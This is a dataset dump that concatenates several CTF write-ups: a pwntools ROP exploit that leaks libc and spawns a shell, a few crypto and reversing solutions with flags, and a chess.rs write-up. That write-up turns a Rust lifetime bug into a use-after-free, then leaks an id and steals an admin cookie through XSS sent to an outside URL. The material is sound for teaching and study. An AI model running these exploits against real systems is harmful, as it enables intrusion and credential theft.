text_chunk
stringlengths 151
703k
|
---|
```pythonfrom pwn import *
context.arch = 'amd64'context.log_level = 'DEBUG'
p = process('./redact2')p = remote('lac.tf', 31281)e = ELF('./redact2')libc = ELF('./libc.so.6')
# === first main ===
rop1 = ROP(e, badchars=b"\n")
rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", [e.symbols["_ZSt4cout"], e.got['__libc_start_main']])rop1.raw(rop1.find_gadget(["ret"]))rop1.main()
info(rop1.dump())
p.sendlineafter("text: ", b"")
p.sendlineafter("placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())p.sendlineafter("redact: ", b"0")
p.recv(1)leak = u64(p.recv(6).ljust(8, b'\x00'))info(hex(leak))libc.address = leak - libc.symbols['__libc_start_main']info(hex(libc.address))
# === second main ===
# 0xc961a execve("/bin/sh", r12, r13)# constraints:# [r12] == NULL || r12 == NULL# [r13] == NULL || r13 == NULLrop2 = ROP(e, badchars=b"\n")
rop2(r12=0, r13=0)rop2.raw(libc.address + 0xc961a) # one gadget
info(rop2.dump())
p.sendlineafter("placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())p.sendlineafter("redact: ", b"0")
p.interactive()``` |
### **Title:** crypto/one-more-time-pad
**Hint:** Just a XOR challenge
**Solution:**\If we look through the code we can see that the cipher text is just a XOR of msg and key.
```cipher_text(ct) = message(key) XOR cipher_key(pt)
then,message(key) = cipher_text(ct) XOR cipher_key(pt)```
Below, [reverse.py](./reverse.py) just does that to get our flag.
**Exploit:** ./reverse.py
**Flag:** `lactf{b4by_h1t_m3_0ne_m0r3_t1m3}` |
### **Title:** rev/universal
**Hint:** A smart bruteforcer to figure-out flag chars
**Solution:**\I used online tools for decompiling the java class file and saved it in the FlagChecker.java
From the code we can deduce that, flag is 38 chars length andeach char byte is used in some binary operations.
Also, we can assume that the flag starts with 'lactf{' and ends with '}' andcontains alphanum with underscore as characters.
As, we know 0-5 and 37 indices of the flag. We can go ahead and find the conditionalswhere we can plug and deduce other chars.
So, by using these new obtained chars we can determine other chars in the same way.
Please find the full code for the solution in [here](reverse.py).
**Exploit:** ./reverse.py
**Flag:** `lactf{1_d0nt_see_3_b1ll10n_s0lv3s_y3t}` |
#### Simple task with difficult way to solve
A few conditions to check input 
I fully emulate elf binary(even \_\_libc\_start\_main) for this challenge.
Solve based on writeup from really cool guy: https://archercreat.github.io/securinets_2020_vm_rev/Solve engine is ttexplorer: https://github.com/JonathanSalwan/ttexplore
``` ./build/Release/triton_krackme cat workspace/corpus/47 | xxd 00000000: 4b43 5446 7b6b 5261 436b 5f4d 335f 6f4e KCTF{kRaCk_M3_oN 00000010: 655f 305f 664c 6147 5f63 3078 735f 6241 e_0_fLaG_c0xs_bA 00000020: 7a61 727d ffff ffff 0000 0000 0000 0000 zar}............ 00000030: 0000``` |
## Insomni'Hack Teaser 2023 - Artscii (Misc 200)##### 21/01 - 22/01/2023 (24hr)___
### Description:
*Can you generate a valid activation code ?*
```license```___
### Solution
We start from `main`:```c__int64 __fastcall main(int argc, char **argv, char **argp) { /* ... */ v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Enter license: "); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); lic_id = (char *)malloc(0x64uLL); if ( !lic_id ) exit(1); std::istream::getline((std::istream *)&std::cin, lic_id, 100LL); // check if license contains colon ':' pos = strchr(lic_id, ':'); if ( pos ) { // license contains a ':'. Split it firstlen = (_DWORD)pos - (_DWORD)lic_id; first = (char *)malloc((int)pos - (int)lic_id); if ( !first ) exit(1); strncpy(first, lic_id, firstlen); liclen = strlen(lic_id); second = (char *)malloc(liclen - firstlen - 1); liclen_ = strlen(lic_id); strncpy(second, &lic_id[firstlen + 1], liclen_ - firstlen - 1); u_myobj_ctor(&myobj, first, second); // verify the first part of the hash if ( u_sha1_hash_first_n_compare(&myobj, first, v6) && (v7 = std::operator<<<std::char_traits<char>>(&std::cout, "License identifier correct"), std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>), u_verify_license(&myobj)) ) { v8 = std::operator<<<std::char_traits<char>>( &std::cout, "You can activate your license with the following code: "); v9 = std::operator<<<std::char_traits<char>>(v8, second); std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>); } else { // verification successful. Generate a license for the second part u_string_ctor_maybe((__int64)a1, (__int64)lic_id, (__int64)lic_id); u_gen_usr_specific_lic_code((__int64)v21, (__int64)a1); std::string::operator=(v20, v21); std::string::~string(v21); v10 = std::operator<<<std::char_traits<char>>( &std::cout, "You can activate your license with the following code: "); v11 = std::operator<<<char>(v10, v20); std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>); u_string_dtor((__int64)a1); } } else { // license doesn't contain a ':' u_string_ctor_maybe((__int64)&myobj, (__int64)lic_id, (__int64)lic_id); u_gen_usr_specific_lic_code((__int64)a1, (__int64)&myobj); std::string::operator=(v20, a1); std::string::~string(a1); v12 = std::operator<<<std::char_traits<char>>(&std::cout, "You can activate your license with the following code: "); v13 = std::operator<<<char>(v12, v20); std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>); u_string_dtor((__int64)&myobj); } /* ... */}```
Function reads a license and check if it contains a colon `:`. If so it splits it into **2** parts and verifies them independently. Output message are kinda misleading asit's not clear if the right path was followed or not.
We start with the first part: Function `u_sha1_hash_first_n_compare` simply checks if the **SHA1** checksum of the first part of the license matches with`7951276d108732f685ad39766351430a193de32d`. To find which string gives this specifichash, we use [crackstation](https://crackstation.net/):```7951276d108732f685ad39766351430a193de32d sha1 anakin```
So the license should start with `anakin:`.
Then there's function `u_gen_usr_specific_lic_code` that generates a valid licensecode. However, this function is a decoy and it's not used to compute the flag.The license is verified inside `u_verify_license`. Let's focus on the most importantpart:```cbool __fastcall u_verify_license(my_struct *myobj) { /* ... */ for ( j = 0; j <= 2; ++j ) { start_time = std::chrono::_V2::system_clock::now((std::chrono::_V2::system_clock *)p_a5); a5 = (__int64)&second[j]; a3 = (__int64)myobj; // spawn threads with fptrs in myobj u_spawn_threads((__int64)&a1, (char *)myobj + 16 * j, (__int64)&a3, (__int64)&second[16 * j + 3], (__int64)&a5;; std::thread::operator=((std::thread *)((char *)v18 + 8 * j), (std::thread *const)&a1;; std::thread::~thread((std::thread *const)&a1;; a3 = std::chrono::_V2::system_clock::now((std::chrono::_V2::system_clock *)&a1;; a1 = u_ignore_me_1((__int64)&a3, (__int64)&start_time); a5 = u_ignore_me_2((__int64)&a1;; p_a5 = (__int64)&a5; if ( u_ignore_me_3((__int64)&a5) > 800 ) return 0; }
for ( k = 0; k <= 2; ++k ) std::thread::join((std::thread *)((char *)v18 + 8 * k));
/* ... */}```
Function takes as input a special object (we call it `my_struct`) which is initialized in`u_myobj_ctor` as follows:```cvoid __fastcall u_myobj_ctor(my_struct *a1, char *a2, char *a3) { a1->fptr1 = u_thread_routine_1; a1->field_8 = 0LL; a1->fptr2 = u_thread_routine_2; a1->field_18 = 0LL; a1->fptr3 = u_thread_routine_3; a1->field_28 = 0LL; a1->field_30 = 0; a1->str_second = a3; a1->str_first = a2;}```
The important part here are the **3** `fptr*` fields that contain function pointers.Going back to `u_verify_license`, we see it invokes `u_spawn_thread` and a functionpointer is passed as input parameter:```cvoid __fastcall u_spawn_thread(__int64 a1, void *a2, __int64 a3, __int64 a4, __int64 a5) { /* ... */ v5 = (tcmalloc::Span *)operator new(0x30uLL); v6 = sub_55555555BC5C(a5); v7 = sub_55555555BC4E(a4); v8 = sub_55555555BC40(a3); v9 = sub_55555555BC32((__int64)a2); sub_55555555BC84(v5, v9, v8, v7, v6); tcmalloc::TList<tcmalloc::Span>::prepend((tcmalloc::TList<tcmalloc::Span> *const)v13, v5); std::thread::_M_start_thread(a1, v13, 0LL); std::unique_ptr<tcmalloc::tcmalloc_internal::AllocationProfilingTokenBase>::~unique_ptr((std::unique_ptr<tcmalloc::tcmalloc_internal::AllocationProfilingTokenBase> *const)v13);}```
That is, program spawns **3** threads to verify the license code.
#### Verify License Code: Thread #1
The verification in the first thread is actually very simple:```cvoid __fastcall u_thread_routine_1(__int64 a1, const char *a2, _BYTE *a3) { /* ... */ strcpy(key1, "rev_insomnihack"); v8[0] = 0x5C401C2F24252B3BLL; v8[1] = 0x5B272A0B5D2C32LL; xored = xor_with_expansion(a2, key1); v3 = strlen(a2); if ( v3 == strlen(key1) ) { for ( i = 0LL; i < strlen(a2); ++i ) { if ( xored[i] != *((_BYTE *)v8 + i) ) { *a3 = 0; return; } } *a3 = 1; }}```
The key `rev_insomnihack` is XORed with a random key and it's compared against the input.We XOR the **2** keys and we get the first part of the flag:```pythonA = b'rev_insomnihack'B = b'\x3B\x2B\x25\x24\x2F\x1C\x40\x5C\x32\x2C\x5D\x0B\x2A\x27\x5B'C = ''.join(chr(a ^ b) for a, b in zip(A, B))```
`C` is `INS{Fr33_B4cKD0`.
#### Verify License Code: Thread #2
Verification in the second thread is more complicated:```cvoid __fastcall u_thread_routine_2(__int64 a1, char *a2, _BYTE *a3) { *a3 = a2[7] - a2[8] == -2 && a2[8] + *a2 + a2[10] == 264 && a2[5] == a2[13] + a2[4] - 89 && a2[12] == 95 && a2[12] - *a2 == 47 && a2[4] == a2[1] - 19 && a2[14] - a2[13] - a2[2] == -28 && *a2 + a2[7] + a2[8] == 248 && a2[8] - a2[11] + *a2 == 48 && a2[3] - a2[14] == -11 && a2[12] + a2[6] - a2[8] == 99 && a2[9] - a2[4] == 15 && a2[6] + a2[12] - *a2 == a2[1] + 38 && a2[2] == a2[9] + 54 - a2[4] && a2[2] == a2[9] - 41 && a2[9] + *a2 + *a2 + a2[5] == a2[10] + 167;}```
Here we have a set of linear equations. We use an SMT solver tofind the correct solution: `0rEd_License_Fo`.
#### Verify License Code: Thread #3
Verification in the last thread uses SHA1 checksums:```cvoid __fastcall u_thread_routine_3(__int64 a1, _BYTE *a2, _BYTE *a3) { /* ... */ key1 = 0; LOBYTE(key1) = *a2; key2 = 0; v10 = 0; key2 = *(_WORD *)a2; key3 = 0; LOWORD(key3) = *(_WORD *)a2; BYTE2(key3) = a2[2]; key4 = 0; v13 = 0; key4 = *(_DWORD *)a2; key5 = 0; v15 = 0; key5 = *(_DWORD *)a2; LOBYTE(v15) = a2[4]; memset(key6, 0, sizeof(key6)); /* ... */ key14[8] = a2[8]; key14[9] = a2[9]; key14[10] = a2[10]; key14[11] = a2[11]; key14[12] = a2[12]; key14[13] = a2[13]; key15 = 0LL; v29 = 0LL; key15 = *(_QWORD *)a2; LODWORD(v29) = *((_DWORD *)a2 + 2); WORD2(v29) = *((_WORD *)a2 + 6); BYTE6(v29) = a2[14]; *a3 = 1; u_sha1_init_str((__int64)sha1, (__int64)a2, (__int64)a3); std::allocator<char>::allocator(&v4;; u_str_ctor_maybe2((__int64)v6, (__int64)&key5, (__int64)&v4;; u_sha1_update((__int64)sha1, (__int64)v6); std::string::~string(v6); std::allocator<char>::~allocator(&v4;; u_sha1_final((__int64)v5, (__int64)sha1); if ( std::operator!=<JsonBox::Value,JsonBox::Value const&,JsonBox::Value const*>( (const std::_Deque_iterator<JsonBox::Value,const JsonBox::Value&,const JsonBox::Value*> *const)v5, (const std::_Deque_iterator<JsonBox::Value,const JsonBox::Value&,const JsonBox::Value*> *const)"a948b24c8ba4ae4f14b529b599601fd53a155994") ) { *a3 = 0; } std::allocator<char>::allocator(&v4;; u_str_ctor_maybe2((__int64)v6, (__int64)&key15, (__int64)&v4;; u_sha1_update((__int64)sha1, (__int64)v6); std::string::~string(v6); std::allocator<char>::~allocator(&v4;; u_sha1_final((__int64)v6, (__int64)sha1); std::string::operator=(v5, v6); std::string::~string(v6); if ( std::operator!=<JsonBox::Value,JsonBox::Value const&,JsonBox::Value const*>( (const std::_Deque_iterator<JsonBox::Value,const JsonBox::Value&,const JsonBox::Value*> *const)v5, (const std::_Deque_iterator<JsonBox::Value,const JsonBox::Value&,const JsonBox::Value*> *const)"a048299abe57311eacc14f1f3b4cdbfaf481f688") ) { *a3 = 0; } /* ... */ std::allocator<char>::allocator(&v4;; u_str_ctor_maybe2((__int64)v6, (__int64)&key8, (__int64)&v4;; u_sha1_update((__int64)sha1, (__int64)v6); std::string::~string(v6); std::allocator<char>::~allocator(&v4;; u_sha1_final((__int64)v6, (__int64)sha1); std::string::operator=(v5, v6); std::string::~string(v6); if ( std::operator!=<JsonBox::Value,JsonBox::Value const&,JsonBox::Value const*>( (const std::_Deque_iterator<JsonBox::Value,const JsonBox::Value&,const JsonBox::Value*> *const)v5, (const std::_Deque_iterator<JsonBox::Value,const JsonBox::Value&,const JsonBox::Value*> *const)"b03da51041b519b7c12da6cc968bf1bc26de307c") ) { *a3 = 0; } std::string::~string(v5); u_str_dtor2((__int64)sha1);}```
What does this function do? It takes the first character of the license code andcomputes its SHA1 checksum and compares it against `06576556d1ad802f247cad11ae748be47b70cd9c` (the order is random).If it doesn't match it sets `*a3 = 0` and function fails. Otherwise it takes the first **2**characters from the license code, generates their SHA1 checksum and compares the result with`e54a31693bcb9bf00ca2a26e0801404d14e68ddd`, and so on.
We can easily brute-force the last part of the flag character by character (we try allcharacter until the generated hash matches with the desired one: ```RR_R_3R_3v R_3vE R_3vErR_3vEryR_3vEry0R_3vEry0nR_3vEry0neR_3vEry0ne_ R_3vEry0ne_F R_3vEry0ne_FFR_3vEry0ne_FFSR_3vEry0ne_FFS}```
So, the final flag is: `INS{Fr33_B4cKD00rEd_License_FoR_3vEry0ne_FFS}`
We verify it:```ispo@ispo-glaptop2:~/ctf/insomnihack_2022/License$ ./license-3321c4ba9df5aa508a14ba410bba4d87aa7735d2ed75ad6f6b6c361eb245ecfe Enter license: anakin:INS{Fr33_B4cKD00rEd_License_FoR_3vEry0ne_FFS}License identifier correctYour provided license: INS{Fr33_B4cKD00rEd_License_FoR_3vEry0ne_FFS}You can activate your license with the following code: INS{Fr33_B4cKD00rEd_License_FoR_3vEry0ne_FFS}```
For more details please take a look at the [license_crack.py](./license_crack.py) file.
___
|
### **Title:** crypto/rolling in the mud
**Hint:** pigpen cipher
**Solution:**\From the picture and title with description we can find the image uses pigpen cipher.
It's a straight forward pigpen cipher where we can plug the chars as accordinglyto determine the flag.
Note: Image needs to be oriented properly based on how the flag would look like.
**Flag:** `lactf{rolling_and_rolling_and_rolling_until_the_pigs_go_home}` |
[https://rgwv.team/writeups/1838/chessrs/](https://rgwv.team/writeups/1838/chessrs/)# chess.rsAuthors: Leo and Mullaghmore
chess.rs was one of the harder pwn problems in dice 2023, ending the competition with only 2 solves.We got first blood :D, which is pretty cool.
## Problem statement```? blazingfast rust wasm chess ?
(the flag is in the admin bot's cookie)
chessrs.mc.ax
Admin Bot```We are given two websites ([chessrs.mc.ax](https://chessrs.mc.ax) and [Admin Bot](https://adminbot.mc.ax/pwn-chessrs)), as well as the [source code](https://static.dicega.ng/uploads/4a4c9610066ea651ad81ea8d00fc699c937b0e315b3e4a7e09dc359d7a991039/chessrs.tar.gz) for [chessrs.mc.ax](chessrs.mc.ax). chessrs.mc.ax appears to be a site where we can play chess against ourselves:
The admin bot website is just a form. We input a url, and then presumably the bot creates a headless chrome instance and visits our website with (as the prompt informs us) the flag in its cookie:
Given the setup of this problem, before we even begin exploiting, we can guess that in order to get the flag, we'll have to (1) get XSS on an mc.ax domain, (2) ask the admin bot to visit our XSS primed site, and (3) steal its mc.ax cookie, which contains the flag. Parts (1) and (3) will end up being the hard parts.
## chessrs.mc.ax source codeLooking at the provided chessrs source code, we see that it is split into two rust crates: `app` and `chess-wasm`. `app` contains the server for the application as well as its javascript and html. `chess-wasm` contains a wasm module that keeps track of games of chess, determining what moves are legal, etc.### appThe rust in app is extremely minimal, it's just a static site server that serves requests to the `app/static` folder:```rust// excerpt from app/src/main.rs#[tokio::main]async fn main() { let port: u16 = std::env::var("PORT") .unwrap_or_else(|_| "8082".to_string()) .parse() .expect("Invalid PORT variable");
let spa = SpaRouter::new("/", "static"); let app = Router::new() .layer(middleware::from_fn(cache_mw)) .merge(spa);
let addr = SocketAddr::from(([0, 0, 0, 0], port)); println!("pwn/chessrs listening on http://localhost:{}", port); axum::Server::bind(&addr) .serve(app.into_make_service()) .await .unwrap();}```There doesn't seem to be anything exploitable here, so let's move on to what's in `app/static`. The static directory contains what seems to be the entirely client-sided source code for chess.mc.ax. Of note, it contains two html files, `engine.html` and `index.html`, as well `game.js`. Inspecting `index.html`, we see that this client has an nested setup, containing:```html
<script src="/js/game.js" type="module"></script>
<iframe src="/engine.html" id="engine"></iframe>```So, what's in the iframe?```html
<script>import * as chess from "/js/chess_wasm.js";await chess.default();
window.onmessage = (e) => { if (typeof e.data !== "object") return; e.source.postMessage(chess.handle(JSON.stringify(e.data)), e.origin);};
window.top.postMessage("ready", "*");</script>```The `engine.html` iframe acts as a little message-based server embedded in the application, receiving messages with `window.onmessage`, processing them using whatever the `chess` module is, and then sending the result back using `e.source.postMessage`. From a web perspective, this is all still client-sided, though.
A glance at `chess_wasm.js` (or `build.sh`, the provided build script), the chess module, reveals that it's just a wrapper for the wasm generated by the `chess-wasm` crate, so the `chess.handle` call that processes a request probably just maps to a `handle` function in rust.
The last line, `window.top.postMessage`, sends a message to the top-level window that contains this iframe (i.e. `game.js` and `index.html`). Presumably, this is both to inform the top-level window that the engine is ready to serve requests and also give the top-level window a reference to the engine that it can call `postMessage` on. Note that this does not necessarily have to be `index.html`, because if we, for example, write our own website with `index.html` in an iframe (which then has `engine.html` in an iframe), we would be the top-level window. But, we're getting ahead of ourselves.
Anyways, now that we've got a general idea of how this site is structure, let's look at `game.js` to see how the top-level window uses the engine (the following has some omissions, indicated by `...`):```js// excerpt from app/static/js/game.js...const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";const id = [...crypto.getRandomValues(new Uint8Array(16))].map(v => alphabet[v % alphabet.length]).join("");...const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);...window.onmessage = (e) => { if (e.data === "ready") { send({ type: "init" }); return; }
if (e.data.id !== id) { return; }
if (e.data.type === "init") { .../* Set up the interactive chess board html for the player The only possibly useful thing this does for us is send play_move messages to the engine when they play a move using the UI, but we wont end up caring about that */...
send({ type: "get_state" }); }
if (e.data.type === "play_move") { send({ type: "get_state" }); }
if (e.data.type === "error") { $("#error").html(e.data.data); send({ type: "get_state" }); }
if (e.data.type === "get_state") { state = e.data.data; ... update the chess board ... }};```So, the game (hosted on the chess.mc.ax website, containing the engine iframe) waits until it receives the ready message sent by the engine, and then processes requests and responses to do things like create the board, update the board, and display errors. What stands out most about this is how it handles errors:```js$("#error").html(e.data.data);```When it receives an error message, it will set the contents of the #error element to the data of the error message. This could be anything, including some javascript! So, if we can get a message of our own design sent to this window, we will have XSS. Luckily, this is potentially pretty easy, right? We can create make our own site something like:```html
<iframe src="https://chessrs.mc.ax/" id="game" width="800px" height="800px"></iframe><script> // send the game window iframe our error message game.contentWindow.postMessage({type: "error", data: "Some javascript that yoinks the cookie"});</script>```Because game.js and index.html are in an iframe that's hosted on chessrs.mc.ax, our XSS should properly have access to the admin bot's flag cookie, even though our outer website won't. Yay! We've gotten XSS, and we've got the flag, right? No. Unfortunately, game.js refuses to process a message (other than the ready message) if it does not have a randomly generated id that it includes in its requests:```js// excerpt from app/static/js/game.js...const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";const id = [...crypto.getRandomValues(new Uint8Array(16))].map(v => alphabet[v % alphabet.length]).join("");...const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);...window.onmessage = (e) => { if (e.data === "ready") { send({ type: "init" }); return; }
if (e.data.id !== id) { return; }
...```Because game.js only sends messages (and thus its id) to the engine, our only option is to somehow get game.js's id from the engine. As we saw, `engine.html` is pretty much a thin wrapper for the `chess-wasm` crate, so we'll have to find an exploit there, too. Before we do that, though, below are two artisanally crafted diagrams that hopefully help illustrate the message passing architecture of the chess.mc.ax client:

### chess-wasmIt is now time to churn through the `chess-wasm` source code to see if we can figure out a way to get game.js's id, and also why this challenge is pwn and not web.
The first thing to note about the chess-wasm module is that every rust file within is marked with:```rust#![forbid(unsafe_code)]```This line does what it says: the compiler will not allow unsafe code to be included. A quick check of the dependencies also verifies that there's probably not any unsound unsafe there, too. If you're unfamiliar with rust: one of rust's core guarantees and selling points is that memory unsafety or undefined behavior (e.g. use after frees) cannot happen without code explicitly marked as unsafe. If you're familiar with rust: this raises the question, how could this possibly be pwnable?
At first, I had no idea, but just because there's no memory unsafety does not necessarily mean there's no logical errors. So, let's get on with understanding chess-wasm's structure.
chess-wasm exports a `handle` function (the one called by engine.html) from lib.rs that does all the request processing.```rust// excerpt from chess-wasm/src/lib.rs#[wasm_bindgen]pub fn handle(input: String) -> JsValue { ...}``` When handling a message, chess-wasm acquires an `EngineState`, a struct representing the state game of chess, from this static hashmap using the id field of the message:```rust// excerpt from chess-wasm/src/lib.rspub static STATE: Lazy<Mutex<HashMap<String, EngineState>>> = Lazy::new(|| Mutex::new(HashMap::new()));```This explains what game.js's id is for: uniquely identifying game.js's `EngineState` out of the potentially multiple chess games the engine is serving requests for. After acquiring (or creating) the static `EngineState` for the client, chess-wasm performs the requested operation on it. Note that from now on we'll more or less use "client" to refer to a "client" which is communicating with the engine and uniquely identified by its id.
When that operation is the init operation, something suspicious ඞ seems to happen. Particularly, something suspicious happens in the `Game::start` method, which creates a new `Game` struct to be stored in the requested client's `EngineState`:```rust// excerpt from chess-wasm/src/game.rsstatic DEFAULT_FEN: &str = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1";
fn validate_fen<'a, 'b>(fen: &'b str, default: &'a &'b str) -> (StartType, &'a str) { match fen.parse::<Fen>() { Ok(_) => (StartType::Fen, fen), Err(_) => (StartType::Fen, default), }}
fn validate_epd<'a, 'b>(epd: &'b str, default: &'a &'b str) -> (StartType, &'a str) { match epd.parse::<Epd>() { Ok(_) => (StartType::Epd, epd), Err(_) => (StartType::Fen, default), }}
impl ChessGame for Game<'_> { fn start(init: &str) -> Self { let mut validator: fn(_, _) -> (StartType, &'static str) = validate_fen; if init.contains(';') { validator = validate_epd; } let data: (StartType, &str) = validator(init, &DEFAULT_FEN); Game { start_type: data.0, start: data.1, moves: Vec::new(), } } ...}```The validate functions check if the string `init` is a valid string in some chess notation, using it to initialize the game state if so or a default otherwise. What's weird is how their lifetimes are being used. In order to ensure memory safety, rust tracks, as a first class language construct, [lifetimes](https://doc.rust-lang.org/nomicon/lifetimes.html). Basically, lifetimes (which can be thought of as tagged at the type-level, notated as `'lifetime`) restrict for how long a piece of data is usable. If you try to access a variable after its lifetime has expired (as determined by the compiler), your program is invalid and won't compile, which prevents use after frees, among other errors.```rustfn validate_epd<'a, 'b>(epd: &'b str, default: &'a &'b str) -> (StartType, &'a str)```So, what do the lifetimes of this function mean? It takes in a reference of lifetime `'b`, a reference of lifetime `'a` to a reference of lifetime `'b`, and returns a reference of lifetime `'a`. In other words, from the perspective of the compiler, it changes the lifetime of `epd` or `*default` from `'b` to `'a` on return. At first this seems at best like a overcomplicated function signature. Shouldn't this only compile if `'b` is at most as long-lived as `'a`? If so, couldn't the author of this code have just replaced `'b` with `'a` to simplify things? Sadly, the answers to these questions seem a lot less obvious when we look at how `validate_epd` and `validate_fen` are used:```rust// excerpt from chess-wasm/src/game.rsimpl ChessGame for Game<'_> { fn start(init: &str) -> Self { let mut validator: fn(_, _) -> (StartType, &'static str) = validate_fen; if init.contains(';') { validator = validate_epd; } let data: (StartType, &str) = validator(init, &DEFAULT_FEN); Game { start_type: data.0, start: data.1, moves: Vec::new(), } } ...}```The above code asserts that the `'a` lifetime used by the validate functions is `'static` when it defines the `validator` variable. But, when it calls `validator`, it asserts that the `'b` lifetime is the lifetime of `init`, which can be anything. Somehow, this code promotes a string of arbitrary lifetime to `'static`. This promotion is unsound, because elsewhere `init` could be freed when it reaches the end of its lifetime, but the returned `Game` struct will still hold a reference to it. To make what's happening more explicit, we can add the following explicit lifetime bounds to the code:```rust// modified (and functionally equivalent) excerpt from chess-wasm/src/game.rsfn start<'b>(init: &'b str) -> Game<'static> { // Validator erases the 'b lifetime, returning something that's 'static. // Because this a weird compiler bug™, we do need to keep some of the lifetimes inferred // rather than explicit (notably one of the 'b lifetimes below needs to be '_). let mut validator: fn(&'b str, &'static &'_ str) -> (StartType, &'static str) = validate_fen; if init.contains(';') { validator = validate_epd; } // We give validator a reference to an &'b str, but it returns it as an &'static str // (so long as init, the &'b str, has been validated succesfully as a valid chess string). let data: (StartType, &'static str) = validator(init, &DEFAULT_FEN); Game { start_type: data.0, start: data.1, moves: Vec::new(), }}```This SHOULD NOT compile!!! We SHOULD NOT be able to return a static reference to something that is not static. Tragically, though, [a bug in the compiler](https://github.com/rust-lang/rust/issues/25860) allows it :(. At least I can console myself with the fact that it let me solve this challenge.
If we look to where `Game::start` is called, we see what string it is called with and how this gives us a use after free:```rust// barely modified (and functionally equivalent) excerpt from chess-wasm/src/handler.rsfn init(msg: EngineMessage) -> anyhow::Result<EngineResponse> { // Copy the data field from the request message into the heap // (the String type in rust is heap-allocated) let data: String = get_data(&msg.data).unwrap_or_default(); ... let mut state = STATE.lock().unwrap(); ...
// We create a Game that has a static lifetime // and insert it into the static state hashmap. let game = Game::<'static>::start(&data); state.insert(msg.id.clone(), EngineState { game });
Ok(EngineResponse { new_type: None, data: Some(json!("ready")), }) // BUT because data, the string which we pass // to Game::start, was created in the stack frame of this function // (after it was created by get_data), data gets freed here.}```
## Leaking game.js's idAfter the `init` function is called, the `EngineState` corresponding to `msg.id` in `STATE` will have its `.game.start` field (an &str) pointing to a free chunk. Unfortunately, this is an immutable pointer, so we can't follow a standard heap exploitation path to get RCE, but fortunately, we don't need RCE. If you remember back to our analysis of the app crate, all we need is the engine to leak game.js's id. We can do this by setting the heap up such that when game.js makes a request to the engine, game.js's id allocates on the free chunk that the UAFed `STATE[our id].game.start` is pointing to. Then, we can get the engine to send us a message containing `STATE[our id].game.start`, which is now equivalent to game.js's id.
The second part of that is fairly easy. In `init`, if the game corresponding to the message's id is already created, the engine will send us a response containing `STATE[our id]`, which obviously contains `STATE[our id].game.start`:```rustlet mut state = STATE.lock().unwrap();
// If the state for this id already exists, return an errorif let Some(state) = state.get(&msg.id) { return Ok(EngineResponse { new_type: Some("error".to_string()), // That error contains our state data: Some(json!(format!("The game '{:#?}' already exists", state))), });}```The first part of our plan to leak game.js's id is much more annoying. Much like C++, allocations and frees in rust (especially when using libraries) are much less transparent than they are in plain C, so manipulating the heap such that game.js's id allocates over our UAF is fairly difficult. Thus, if you want to find the perfect sequence of messages to send to the engine to elegantly set up the heap properly and leak the id, you'll have to start debugging. If instead you are me many hours later, you'll have to come to the realization that you've been wasting your time and it would be much easier to just fuzz the engine with requests until the id happens to be allocated on our UAF. Using this second method, we can leak the id with the following exploit website:```html<iframe src="https://chessrs.mc.ax/" id="game" width="800px" height="800px"></iframe>
<script> let lets = "ABCDEFGH";
async function main() { // Wait for the ready message to get sent to us from the engine let engine = await new Promise(res => { onmessage = (e) => res(e.source) }) // Spam the engine with init requests from different clients // (each one uses a different id) for (let i = 0; i < lets.length; i++) { // Each of these inits will trigger the UAF because // it has data field set to a valid chess string // (it won't use the default start string) // To increase chances of success, we use a valid // chess string that is the same length as // game.js's id. engine.postMessage({ type: 'init', data: '8/8/8/8/8/8/8/8 ', id: lets[i], }, '*') await new Promise(res => setTimeout(res, 10))
// These inits won't trigger the UAF because we are not sending an // init string, but it's part of the fuzzing routine that we found to work. // You know what they say, "garbage in, flag out." engine.postMessage({ type: 'init', id: lets[i].repeat(16) }, '*')
await new Promise(res => setTimeout(res, 10)) }
await new Promise(res => setTimeout(res, 10))
// Send the ready message to game.js so that // it will send its own init message to engine, // allocating its id using the engine's allocator. game.contentWindow.postMessage('ready', '*')
await new Promise(res => setTimeout(res, 100))
// Now re-init all the clients that had the UAF // Hopefully one of them had their UAF // overwritten by game.js's id. for (let i = 0; i < lets.length; i++) { engine.postMessage({ type: 'init', id: lets[i] }, '*') } }
// Print out all the error responses from // our re-inits. If things worked out for us, // one of them will contain game.js's id addEventListener('message', (e) => { if (e.data.type === "error") { console.log(e.data.id, e.data.data); } })
main()</script>```If we host this on a simple static site server and visit it, we see that we have successfully leaked game.js's id for the client with id "H":
## Stealing the admin cookie with XSS
Finally, onto the ~~easy~~ web part!
Once we have access to the game id, there is still one more obstacle we must overcome before we get the flag.
Since around 2020, most browsers have begun setting `SameSite=Lax` on cookies by default. `SameSite=Lax`, unlike the previous default of `SameSite=None`, prevents cookies from being accessed from inside an iframe, even when the iframe is on the right domain. Although we can trivially get XSS on the iframe by sending a simple `onerror` based payload, if the iframe can't access the cookie, we still can't get the flag.
Luckily, we don't need the iframe to access the cookie directly. Instead, we can open `chessrs.mc.ax` in a new tab (which does get the cookie, as it's a top-level navigation) and have the iframe access the `window.document.cookie` property of the new tab. This is possible thanks to a concept called the "Same-Origin Policy," which dictates that windows on the same origin can access each others' contents.
In order for the iframe to have a reference to the new tab, we have to open the new tab from inside the iframe. We can send an XSS payload opening and storing a reference to the new tab in the `window.w` property like so:
```jsgame.contentWindow.postMessage({ type: 'error', id: id, data: "" }, '*')```
After a short delay to let the new tab finish loading, we can then access its document.cookie property from inside the original iframe. In order to receive the cookie, I chose to simply redirect the iframe to a website we control, sending the cookie in the path of the URL:
```jsgame.contentWindow.postMessage({ type: 'error', id: id, data: "" }, '*')```
After submitting our attacking website to the admin bot, a GET request appears in our request bin containing our hard-earned flag:
